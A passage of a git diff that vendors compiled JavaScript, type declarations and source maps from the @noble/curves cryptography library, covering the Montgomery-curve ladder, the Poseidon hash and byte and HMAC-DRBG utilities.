+ const u = (0, utils_js_1.ensureBytes)('u coordinate', uEnc, montgomeryBytes); + // u[fieldLen-1] crashes QuickJS (TypeError: out-of-bound numeric index) + if (fieldLen === montgomeryBytes) + u[fieldLen - 1] &= 127; // 0b0111_1111 + return (0, utils_js_1.bytesToNumberLE)(u); + } + function decodeScalar(n) { + const bytes = (0, utils_js_1.ensureBytes)('scalar', n); + if (bytes.length !== montgomeryBytes && bytes.length !== fieldLen) + throw new Error(`Expected ${montgomeryBytes} or ${fieldLen} bytes, got ${bytes.length}`); + return (0, utils_js_1.bytesToNumberLE)(adjustScalarBytes(bytes)); + } + function scalarMult(scalar, u) { + const pointU = decodeUCoordinate(u); + const _scalar = decodeScalar(scalar); + const pu = montgomeryLadder(pointU, _scalar); + // The result was not contributory + // https://cr.yp.to/ecdh.html#validate + if (pu === _0n) + throw new Error('Invalid private or public key received'); + return encodeUCoordinate(pu); + } + // Computes public key from private. By doing scalar multiplication of base point. + const GuBytes = encodeUCoordinate(CURVE.Gu); + function scalarMultBase(scalar) { + return scalarMult(scalar, GuBytes); + } + return { + scalarMult, + scalarMultBase, + getSharedSecret: (privateKey, publicKey) => scalarMult(privateKey, publicKey), + getPublicKey: (privateKey) => scalarMultBase(privateKey), + utils: { randomPrivateKey: () => CURVE.randomBytes(CURVE.nByteLength) }, + GuBytes: GuBytes, + }; +} +exports.montgomery = montgomery; +//# sourceMappingURL=montgomery.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/montgomery.js.map b/node_modules/@noble/curves/abstract/montgomery.js.map new file mode 100644 index 000000000000..1aa0c9eb52b7 --- /dev/null +++ b/node_modules/@noble/curves/abstract/montgomery.js.map @@ -0,0 +1 @@ +{"version":3,"file":"montgomery.js","sourceRoot":"","sources":["../src/abstract/montgomery.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,6CAAwC;AACxC,yCAA2F;AAE3F,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAwBtB,SAAS,YAAY,CAAC,KAAgB;IACpC,IAAA,yBAAc,EACZ,KAAK,EACL;QACE,CAAC,EAAE,QAAQ;KACZ,EACD;QACE,c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AAC,MAAM,EAAE,CAAC,CAAC;QAC3F,OAAO,IAAA,0BAAe,EAAC,iBAAiB,CAAC,KAAK,CAAC,CAAC,CAAC;IACnD,CAAC;IACD,SAAS,UAAU,CAAC,MAAW,EAAE,CAAM;QACrC,MAAM,MAAM,GAAG,iBAAiB,CAAC,CAAC,CAAC,CAAC;QACpC,MAAM,OAAO,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;QACrC,MAAM,EAAE,GAAG,gBAAgB,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;QAC7C,kCAAkC;QAClC,sCAAsC;QACtC,IAAI,EAAE,KAAK,GAAG;YAAE,MAAM,IAAI,KAAK,CAAC,wCAAwC,CAAC,CAAC;QAC1E,OAAO,iBAAiB,CAAC,EAAE,CAAC,CAAC;IAC/B,CAAC;IACD,kFAAkF;IAClF,MAAM,OAAO,GAAG,iBAAiB,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAC5C,SAAS,cAAc,CAAC,MAAW;QACjC,OAAO,UAAU,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IACrC,CAAC;IAED,OAAO;QACL,UAAU;QACV,cAAc;QACd,eAAe,EAAE,CAAC,UAAe,EAAE,SAAc,EAAE,EAAE,CAAC,UAAU,CAAC,UAAU,EAAE,SAAS,CAAC;QACvF,YAAY,EAAE,CAAC,UAAe,EAAc,EAAE,CAAC,cAAc,CAAC,UAAU,CAAC;QACzE,KAAK,EAAE,EAAE,gBAAgB,EAAE,GAAG,EAAE,CAAC,KAAK,CAAC,WAAY,CAAC,KAAK,CAAC,WAAW,CAAC,EAAE;QACxE,OAAO,EAAE,OAAO;KACjB,CAAC;AACJ,CAAC;AA1ID,gCA0IC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/poseidon.d.ts b/node_modules/@noble/curves/abstract/poseidon.d.ts new file mode 100644 index 000000000000..2f9ab819e8a3 --- /dev/null +++ b/node_modules/@noble/curves/abstract/poseidon.d.ts @@ -0,0 +1,30 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { IField } from './modular.js'; +export type PoseidonOpts = { + Fp: IField; + t: number; + roundsFull: number; + roundsPartial: number; + sboxPower?: number; + reversePartialPowIdx?: boolean; + mds: bigint[][]; + roundConstants: bigint[][]; +}; +export declare function validateOpts(opts: PoseidonOpts): Readonly<{ + rounds: number; + sboxFn: (n: bigint) => bigint; + roundConstants: bigint[][]; + mds: bigint[][]; + Fp: IField; + t: number; + roundsFull: number; + roundsPartial: number; + sboxPower?: number | undefined; + reversePartialPowIdx?: boolean | undefined; +}>; +export declare function splitConstants(rc: bigint[], t: number): bigint[][]; +export declare function poseidon(opts: PoseidonOpts): { + (values: bigint[]): bigint[]; + roundConstants: bigint[][]; +}; +//# sourceMappingURL=poseidon.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/poseidon.d.ts.map b/node_modules/@noble/curves/abstract/poseidon.d.ts.map new file mode 100644 index 000000000000..8c0593d299a2 --- /dev/null +++ b/node_modules/@noble/curves/abstract/poseidon.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"poseidon.d.ts","sourceRoot":"","sources":["../src/abstract/poseidon.ts"],"names":[],"mappings":"AAAA,sEAAsE;AAEtE,OAAO,EAAE,MAAM,EAAwB,MAAM,cAAc,CAAC;AAG5D,MAAM,MAAM,YAAY,GAAG;IACzB,EAAE,EAAE,MAAM,CAAC,MAAM,CAAC,CAAC;IACnB,CAAC,EAAE,MAAM,CAAC;IACV,UAAU,EAAE,MAAM,CAAC;IACnB,aAAa,EAAE,MAAM,CAAC;IACtB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,oBAAoB,CAAC,EAAE,OAAO,CAAC;IAC/B,GAAG,EAAE,MAAM,EAAE,EAAE,CAAC;IAChB,cAAc,EAAE,MAAM,EAAE,EAAE,CAAC;CAC5B,CAAC;AAEF,wBAAgB,YAAY,CAAC,IAAI,EAAE,YAAY;;gBA0C5B,MAAM;;;;;;;;;GAMxB;AAED,wBAAgB,cAAc,CAAC,EAAE,EAAE,MAAM,EAAE,EAAE,CAAC,EAAE,MAAM,cAarD;AAED,wBAAgB,QAAQ,CAAC,IAAI,EAAE,YAAY;aAcU,MAAM,EAAE;;EAsB5D"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/poseidon.js b/node_modules/@noble/curves/abstract/poseidon.js new file mode 100644 index 000000000000..c10f971a72d4 --- /dev/null +++ b/node_modules/@noble/curves/abstract/poseidon.js @@ -0,0 +1,114 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.poseidon = exports.splitConstants = exports.validateOpts = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Poseidon Hash: https://eprint.iacr.org/2019/458.pdf, https://www.poseidon-hash.info +const modular_js_1 = require("./modular.js"); +function validateOpts(opts) { + const { Fp, mds, reversePartialPowIdx: rev, roundConstants: rc } = opts; + const { roundsFull, roundsPartial, sboxPower, t } = opts; + (0, modular_js_1.validateField)(Fp); + for (const i of ['t', 'roundsFull', 'roundsPartial']) { + if (typeof opts[i] !== 'number' || !Number.isSafeInteger(opts[i])) + throw new Error(`Poseidon: invalid param ${i}=${opts[i]} (${typeof opts[i]})`); + } + // MDS is TxT matrix + if (!Array.isArray(mds) || mds.length !== t) + throw new Error('Poseidon: wrong MDS matrix'); + const _mds = mds.map((mdsRow) => { + if (!Array.isArray(mdsRow) || mdsRow.length !== t) + throw new Error(`Poseidon MDS matrix row: ${mdsRow}`); + return mdsRow.map((i) => { + if (typeof i !== 'bigint') + throw new Error(`Poseidon MDS matrix value=${i}`); + return Fp.create(i); + }); + }); + if (rev !== undefined && typeof rev !== 'boolean') + throw new Error(`Poseidon: invalid param reversePartialPowIdx=${rev}`); + if (roundsFull % 2 !== 0) + throw new Error(`Poseidon roundsFull is not even: ${roundsFull}`); + const rounds = roundsFull + roundsPartial; + if (!Array.isArray(rc) || rc.length !== rounds) + throw new Error('Poseidon: wrong round constants'); + const roundConstants = rc.map((rc) => { + if (!Array.isArray(rc) || rc.length !== t) + throw new Error(`Poseidon wrong round constants: ${rc}`); + return rc.map((i) => { + if (typeof i !== 'bigint' || !Fp.isValid(i)) + throw new Error(`Poseidon wrong round constant=${i}`); + return Fp.create(i); + }); + }); + if (!sboxPower || ![3, 5, 7].includes(sboxPower)) + throw new Error(`Poseidon wrong sboxPower=${sboxPower}`); + const _sboxPower = BigInt(sboxPower); + let sboxFn = (n) => (0, modular_js_1.FpPow)(Fp, n, _sboxPower); + // Unwrapped sbox power for common cases (195->142μs) + if (sboxPower === 3) + sboxFn = (n) => Fp.mul(Fp.sqrN(n), n); + else if (sboxPower === 5) + sboxFn = (n) => Fp.mul(Fp.sqrN(Fp.sqrN(n)), n); + return Object.freeze({ ...opts, rounds, sboxFn, roundConstants, mds: _mds }); +} +exports.validateOpts = validateOpts; +function splitConstants(rc, t) { + if (typeof t !== 'number') + throw new Error('poseidonSplitConstants: wrong t'); + if (!Array.isArray(rc) || rc.length % t) + throw new Error('poseidonSplitConstants: wrong rc'); + const res = []; + let tmp = []; + for (let i = 0; i < rc.length; i++) { + tmp.push(rc[i]); + if (tmp.length === t) { + res.push(tmp); + tmp = []; + } + } + return res; +} +exports.splitConstants = splitConstants; +function poseidon(opts) { + const _opts = validateOpts(opts); + const { Fp, mds, roundConstants, rounds, roundsPartial, sboxFn, t } = _opts; + const halfRoundsFull = _opts.roundsFull / 2; + const partialIdx = _opts.reversePartialPowIdx ? t - 1 : 0; + const poseidonRound = (values, isFull, idx) => { + values = values.map((i, j) => Fp.add(i, roundConstants[idx][j])); + if (isFull) + values = values.map((i) => sboxFn(i)); + else + values[partialIdx] = sboxFn(values[partialIdx]); + // Matrix multiplication + values = mds.map((i) => i.reduce((acc, i, j) => Fp.add(acc, Fp.mulN(i, values[j])), Fp.ZERO)); + return values; + }; + const poseidonHash = function poseidonHash(values) { + if (!Array.isArray(values) || values.length !== t) + throw new Error(`Poseidon: wrong values (expected array of bigints with length ${t})`); + values = values.map((i) => { + if (typeof i !== 'bigint') + throw new Error(`Poseidon: wrong value=${i} (${typeof i})`); + return Fp.create(i); + }); + let round = 0; + // Apply r_f/2 full rounds. + for (let i = 0; i < halfRoundsFull; i++) + values = poseidonRound(values, true, round++); + // Apply r_p partial rounds. + for (let i = 0; i < roundsPartial; i++) + values = poseidonRound(values, false, round++); + // Apply r_f/2 full rounds. + for (let i = 0; i < halfRoundsFull; i++) + values = poseidonRound(values, true, round++); + if (round !== rounds) + throw new Error(`Poseidon: wrong number of rounds: last round=${round}, total=${rounds}`); + return values; + }; + // For verification in tests + poseidonHash.roundConstants = roundConstants; + return poseidonHash; +} +exports.poseidon = poseidon; +//# sourceMappingURL=poseidon.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/poseidon.js.map b/node_modules/@noble/curves/abstract/poseidon.js.map new file mode 100644 index 000000000000..923cc06e0336 --- /dev/null +++ b/node_modules/@noble/curves/abstract/poseidon.js.map @@ -0,0 +1 @@ +{"version":3,"file":"poseidon.js","sourceRoot":"","sources":["../src/abstract/poseidon.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,sFAAsF;AACtF,6CAA4D;AAc5D,SAAgB,YAAY,CAAC,IAAkB;IAC7C,MAAM,EAAE,EAAE,EAAE,GAAG,EAAE,oBAAoB,EAAE,GAAG,EAAE,cAAc,EAAE,EAAE,EAAE,GAAG,IAAI,CAAC;IACxE,MAAM,EAAE,UAAU,EAAE,aAAa,EAAE,SAAS,EAAE,CAAC,EAAE,GAAG,IAAI,CAAC;IAEzD,IAAA,0BAAa,EAAC,EAAE,CAAC,CAAC;IAClB,KAAK,MAAM,CAAC,IAAI,CAAC,GAAG,EAAE,YAAY,EAAE,eAAe,CAAU,EAAE;QAC7D,IAAI,OAAO,IAAI,CAAC,CAAC,CAAC,KAAK,QAAQ,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;YAC/D,MAAM,IAAI,KAAK,CAAC,2BAA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C,CAAC,CAAC;QACH,IAAI,KAAK,GAAG,CAAC,CAAC;QACd,2BAA2B;QAC3B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,cAAc,EAAE,CAAC,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACvF,4BAA4B;QAC5B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,aAAa,EAAE,CAAC,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC,CAAC;QACvF,2BAA2B;QAC3B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,cAAc,EAAE,CAAC,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QAEvF,IAAI,KAAK,KAAK,MAAM;YAClB,MAAM,IAAI,KAAK,CAAC,gDAAgD,KAAK,WAAW,MAAM,EAAE,CAAC,CAAC;QAC5F,OAAO,MAAM,CAAC;IAChB,CAAC,CAAC;IACF,4BAA4B;IAC5B,YAAY,CAAC,cAAc,GAAG,cAAc,CAAC;IAC7C,OAAO,YAAY,CAAC;AACtB,CAAC;AApCD,4BAoCC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/utils.d.ts b/node_modules/@noble/curves/abstract/utils.d.ts new file mode 100644 index 000000000000..f3fa25300a6e --- /dev/null +++ b/node_modules/@noble/curves/abstract/utils.d.ts @@ -0,0 +1,92 @@ +export type Hex = Uint8Array | string; +export type PrivKey = Hex | bigint; +export type CHash = { + (message: Uint8Array | string): Uint8Array; + blockLen: number; + outputLen: number; + create(opts?: { + dkLen?: number; + }): any; +}; +export type FHash = (message: Uint8Array | string) => Uint8Array; +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +export declare function bytesToHex(bytes: Uint8Array): string; +export declare function numberToHexUnpadded(num: number | bigint): string; +export declare function hexToNumber(hex: string): bigint; +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +export declare function hexToBytes(hex: string): Uint8Array; +export declare function bytesToNumberBE(bytes: Uint8Array): bigint; +export declare function bytesToNumberLE(bytes: Uint8Array): bigint; +export declare function numberToBytesBE(n: number | bigint, len: number): Uint8Array; +export declare function numberToBytesLE(n: number | bigint, len: number): Uint8Array; +export declare function numberToVarBytesBE(n: number | bigint): Uint8Array; +/** + * Takes hex string or Uint8Array, converts to Uint8Array. + * Validates output length. + * Will throw error for other types. + * @param title descriptive title for an error e.g. 'private key' + * @param hex hex string or Uint8Array + * @param expectedLength optional, will compare to result array's length + * @returns + */ +export declare function ensureBytes(title: string, hex: Hex, expectedLength?: number): Uint8Array; +/** + * Copies several Uint8Arrays into one. + */ +export declare function concatBytes(...arrays: Uint8Array[]): Uint8Array; +export declare function equalBytes(b1: Uint8Array, b2: Uint8Array): boolean; +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +export declare function utf8ToBytes(str: string): Uint8Array; +/** + * Calculates amount of bits in a bigint. + * Same as `n.toString(2).length` + */ +export declare function bitLen(n: bigint): number; +/** + * Gets single bit at position. + * NOTE: first bit position is 0 (same as arrays) + * Same as `!!+Array.from(n.toString(2)).reverse()[pos]` + */ +export declare function bitGet(n: bigint, pos: number): bigint; +/** + * Sets single bit at position. + */ +export declare const bitSet: (n: bigint, pos: number, value: boolean) => bigint; +/** + * Calculate mask for N bits. Not using ** operator with bigints because of old engines. + * Same as BigInt(`0b${Array(i).fill('1').join('')}`) + */ +export declare const bitMask: (n: number) => bigint; +type Pred = (v: Uint8Array) => T | undefined; +/** + * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + * @returns function that will call DRBG until 2nd arg returns something meaningful + * @example + * const drbg = createHmacDRBG(32, 32, hmac); + * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined + */ +export declare function createHmacDrbg(hashLen: number, qByteLen: number, hmacFn: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array): (seed: Uint8Array, predicate: Pred) => T; +declare const validatorFns: { + readonly bigint: (val: any) => boolean; + readonly function: (val: any) => boolean; + readonly boolean: (val: any) => boolean; + readonly string: (val: any) => boolean; + readonly stringOrUint8Array: (val: any) => boolean; + readonly isSafeInteger: (val: any) => boolean; + readonly array: (val: any) => boolean; + readonly field: (val: any, object: any) => any; + readonly hash: (val: any) => boolean; +}; +type Validator = keyof typeof validatorFns; +type ValMap> = { + [K in keyof T]?: Validator; +}; +export declare function validateObject>(object: T, validators: ValMap, optValidators?: ValMap): T; +export {}; +//# sourceMappingURL=utils.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/utils.d.ts.map b/node_modules/@noble/curves/abstract/utils.d.ts.map new file mode 100644 index 000000000000..bc747ed20427 --- /dev/null +++ b/node_modules/@noble/curves/abstract/utils.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../src/abstract/utils.ts"],"names":[],"mappings":"AASA,MAAM,MAAM,GAAG,GAAG,UAAU,GAAG,MAAM,CAAC;AACtC,MAAM,MAAM,OAAO,GAAG,GAAG,GAAG,MAAM,CAAC;AACnC,MAAM,MAAM,KAAK,GAAG;IAClB,CAAC,OAAO,EAAE,UAAU,GAAG,MAAM,GAAG,UAAU,CAAC;IAC3C,QAAQ,EAAE,MAAM,CAAC;IACjB,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,CAAC,IAAI,CAAC,EAAE;QAAE,KAAK,CAAC,EAAE,MAAM,CAAA;KAAE,GAAG,GAAG,CAAC;CACxC,CAAC;AACF,MAAM,MAAM,KAAK,GAAG,CAAC,OAAO,EAAE,UAAU,GAAG,MAAM,KAAK,UAAU,CAAC;AAKjE;;GAEG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,UAAU,GAAG,MAAM,CAQpD;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;GAGG;AACH,eAAO,MAAM,OAAO,MAAO,MAAM,WAAiC,CAAC;AAMnE,KAAK,IAAI,CAAC,CAAC,IAAI,CAAC,CAAC,EAAE,UAAU,KAAK,CAAC,GAAG,SAAS,CAAC;AAChD;;;;;;GAMG;AACH,wBAAgB,cAAc,CAAC,CAAC,EAC9B,OAAO,EAAE,MAAM,EACf,QAAQ,EAAE,MAAM,EAChB,MAAM,EAAE,CAAC,GAAG,EAAE,UAAU,EAAE,GAAG,QAAQ,EAAE,UAAU,EAAE,KAAK,UAAU,GACjE,CAAC,IAAI,EAAE,UAAU,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC,CAAC,KAAK,CAAC,CA4C7C;AAID,QAAA,MAAM,YAAY;2BACF,GAAG;6BACD,GAAG;4BACJ,GAAG;2BACJ,GAAG;uCACS,GAAG;kCACR,GAAG;0BACX,GAAG;0BACH,GAAG,UAAU,GAAG;yBACjB,GAAG;CACP,CAAC;AACX,KAAK,SAAS,GAAG,MAAM,OAAO,YAAY,CAAC;AAC3C,KAAK,MAAM,CAAC,CAAC,SAAS,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,IAAI;KAAG,CAAC,IAAI,MAAM,CAAC,CAAC,CAAC,EAAE,SAAS;CAAE,CAAC;AAG5E,wBAAgB,cAAc,CAAC,CAAC,SAAS,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAC1D,MAAM,EAAE,CAAC,EACT,UAAU,EAAE,MAAM,CAAC,CAAC,CAAC,EACrB,aAAa,GAAE,MAAM,CAAC,CAAC,CAAM,KAkB9B"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/utils.js b/node_modules/@noble/curves/abstract/utils.js new file mode 100644 index 000000000000..8a801baa6a7c --- /dev/null +++ b/node_modules/@noble/curves/abstract/utils.js @@ -0,0 +1,288 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.validateObject = exports.createHmacDrbg = exports.bitMask = exports.bitSet = exports.bitGet = exports.bitLen = exports.utf8ToBytes = exports.equalBytes = exports.concatBytes = exports.ensureBytes = exports.numberToVarBytesBE = exports.numberToBytesLE = exports.numberToBytesBE = exports.bytesToNumberLE = exports.bytesToNumberBE = exports.hexToBytes = exports.hexToNumber = exports.numberToHexUnpadded = exports.bytesToHex = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// 100 lines of code in the file are duplicated from noble-hashes (utils). +// This is OK: `abstract` directory does not use noble-hashes. +// User may opt-in into using different hashing library. This way, noble-hashes +// won't be included into their bundle. +const _0n = BigInt(0); +const _1n = BigInt(1); +const _2n = BigInt(2); +const u8a = (a) => a instanceof Uint8Array; +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0')); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +function bytesToHex(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} +exports.bytesToHex = bytesToHex; +function numberToHexUnpadded(num) { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; +} +exports.numberToHexUnpadded = numberToHexUnpadded; +function hexToNumber(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + // Big Endian + return BigInt(hex === '' ? '0' : `0x${hex}`); +} +exports.hexToNumber = hexToNumber; +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +function hexToBytes(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) + throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) + throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} +exports.hexToBytes = hexToBytes; +// BE: Big Endian, LE: Little Endian +function bytesToNumberBE(bytes) { + return hexToNumber(bytesToHex(bytes)); +} +exports.bytesToNumberBE = bytesToNumberBE; +function bytesToNumberLE(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse())); +} +exports.bytesToNumberLE = bytesToNumberLE; +function numberToBytesBE(n, len) { + return hexToBytes(n.toString(16).padStart(len * 2, '0')); +} +exports.numberToBytesBE = numberToBytesBE; +function numberToBytesLE(n, len) { + return numberToBytesBE(n, len).reverse(); +} +exports.numberToBytesLE = numberToBytesLE; +// Unpadded, rarely used +function numberToVarBytesBE(n) { + return hexToBytes(numberToHexUnpadded(n)); +} +exports.numberToVarBytesBE = numberToVarBytesBE; +/** + * Takes hex string or Uint8Array, converts to Uint8Array. + * Validates output length. + * Will throw error for other types. + * @param title descriptive title for an error e.g. 'private key' + * @param hex hex string or Uint8Array + * @param expectedLength optional, will compare to result array's length + * @returns + */ +function ensureBytes(title, hex, expectedLength) { + let res; + if (typeof hex === 'string') { + try { + res = hexToBytes(hex); + } + catch (e) { + throw new Error(`${title} must be valid hex string, got "${hex}". Cause: ${e}`); + } + } + else if (u8a(hex)) { + // Uint8Array.from() instead of hash.slice() because node.js Buffer + // is instance of Uint8Array, and its slice() creates **mutable** copy + res = Uint8Array.from(hex); + } + else { + throw new Error(`${title} must be hex string or Uint8Array`); + } + const len = res.length; + if (typeof expectedLength === 'number' && len !== expectedLength) + throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`); + return res; +} +exports.ensureBytes = ensureBytes; +/** + * Copies several Uint8Arrays into one. + */ +function concatBytes(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} +exports.concatBytes = concatBytes; +function equalBytes(b1, b2) { + // We don't care about timing attacks here + if (b1.length !== b2.length) + return false; + for (let i = 0; i < b1.length; i++) + if (b1[i] !== b2[i]) + return false; + return true; +} +exports.equalBytes = equalBytes; +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +exports.utf8ToBytes = utf8ToBytes; +// Bit operations +/** + * Calculates amount of bits in a bigint. + * Same as `n.toString(2).length` + */ +function bitLen(n) { + let len; + for (len = 0; n > _0n; n >>= _1n, len += 1) + ; + return len; +} +exports.bitLen = bitLen; +/** + * Gets single bit at position. + * NOTE: first bit position is 0 (same as arrays) + * Same as `!!+Array.from(n.toString(2)).reverse()[pos]` + */ +function bitGet(n, pos) { + return (n >> BigInt(pos)) & _1n; +} +exports.bitGet = bitGet; +/** + * Sets single bit at position. + */ +const bitSet = (n, pos, value) => { + return n | ((value ? _1n : _0n) << BigInt(pos)); +}; +exports.bitSet = bitSet; +/** + * Calculate mask for N bits. Not using ** operator with bigints because of old engines. + * Same as BigInt(`0b${Array(i).fill('1').join('')}`) + */ +const bitMask = (n) => (_2n << BigInt(n - 1)) - _1n; +exports.bitMask = bitMask; +// DRBG +const u8n = (data) => new Uint8Array(data); // creates Uint8Array +const u8fr = (arr) => Uint8Array.from(arr); // another shortcut +/** + * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + * @returns function that will call DRBG until 2nd arg returns something meaningful + * @example + * const drbg = createHmacDRBG(32, 32, hmac); + * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined + */ +function createHmacDrbg(hashLen, qByteLen, hmacFn) { + if (typeof hashLen !== 'number' || hashLen < 2) + throw new Error('hashLen must be a number'); + if (typeof qByteLen !== 'number' || qByteLen < 2) + throw new Error('qByteLen must be a number'); + if (typeof hmacFn !== 'function') + throw new Error('hmacFn must be a function'); + // Step B, Step C: set hashLen to 8*ceil(hlen/8) + let v = u8n(hashLen); // Minimal non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same + let i = 0; // Iterations counter, will throw when over 1000 + const reset = () => { + v.fill(1); + k.fill(0); + i = 0; + }; + const h = (...b) => hmacFn(k, v, ...b); // hmac(k)(v, ...values) + const reseed = (seed = u8n()) => { + // HMAC-DRBG reseed() function. Steps D-G + k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed) + v = h(); // v = hmac(k || v) + if (seed.length === 0) + return; + k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed) + v = h(); // v = hmac(k || v) + }; + const gen = () => { + // HMAC-DRBG generate() function + if (i++ >= 1000) + throw new Error('drbg: tried 1000 values'); + let len = 0; + const out = []; + while (len < qByteLen) { + v = h(); + const sl = v.slice(); + out.push(sl); + len += v.length; + } + return concatBytes(...out); + }; + const genUntil = (seed, pred) => { + reset(); + reseed(seed); // Steps D-G + let res = undefined; // Step H: grind until k is in [1..n-1] + while (!(res = pred(gen()))) + reseed(); + reset(); + return res; + }; + return genUntil; +} +exports.createHmacDrbg = createHmacDrbg; +// Validating curves and fields +const validatorFns = { + bigint: (val) => typeof val === 'bigint', + function: (val) => typeof val === 'function', + boolean: (val) => typeof val === 'boolean', + string: (val) => typeof val === 'string', + stringOrUint8Array: (val) => typeof val === 'string' || val instanceof Uint8Array, + isSafeInteger: (val) => Number.isSafeInteger(val), + array: (val) => Array.isArray(val), + field: (val, object) => object.Fp.isValid(val), + hash: (val) => typeof val === 'function' && Number.isSafeInteger(val.outputLen), +}; +// type Record = { [P in K]: T; } +function validateObject(object, validators, optValidators = {}) { + const checkField = (fieldName, type, isOptional) => { + const checkVal = validatorFns[type]; + if (typeof checkVal !== 'function') + throw new Error(`Invalid validator "${type}", expected function`); + const val = object[fieldName]; + if (isOptional && val === undefined) + return; + if (!checkVal(val, object)) { + throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`); + } + }; + for (const [fieldName, type] of Object.entries(validators)) + checkField(fieldName, type, false); + for (const [fieldName, type] of Object.entries(optValidators)) + checkField(fieldName, type, true); + return object; +} +exports.validateObject = validateObject; +// validate type tests +// const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 }; +// const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok! +// // Should fail type-check +// const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' }); +// const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' }); +// const z3 = validateObject(o, { test: 'boolean', z: 'bug' }); +// const z4 = validateObject(o, { a: 'boolean', z: 'bug' }); +//# sourceMappingURL=utils.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/utils.js.map b/node_modules/@noble/curves/abstract/utils.js.map new file mode 100644 index 000000000000..56f36c890b33 --- /dev/null +++ 